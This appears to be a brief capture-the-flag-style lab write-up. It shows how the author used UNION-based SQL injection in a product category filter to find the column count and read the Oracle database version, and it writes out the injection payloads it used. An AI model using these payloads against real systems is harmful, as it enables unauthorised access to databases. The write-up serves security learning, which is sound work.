
SQL injection attack, querying the database type and version on Oracle

1. This lab contains a SQL injection vulnerability in the product category filter.
2. I need to make the database retrieve the version and I know that the database is Oracle.
3. From SQL injection cheat sheet, I knew how to the version of Oracle database.

```
SELECT banner FROM v$version
```

4. First, I need to know how many columns that are retrieved in the original query because I will try UNION based SQL injection. So, I will try to inject this payload:

```
category=Gifts' ORDER BY #of_columns--
```

5. I get that the number of columns is 2, So I will try to inject this payload to know the version of the database:

```
category=Gifts' UNION SELECT banner, NULL FROM v$version--
```

And the lab solved successfully.



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LAB Solved

Congratulations, you solved the lab!

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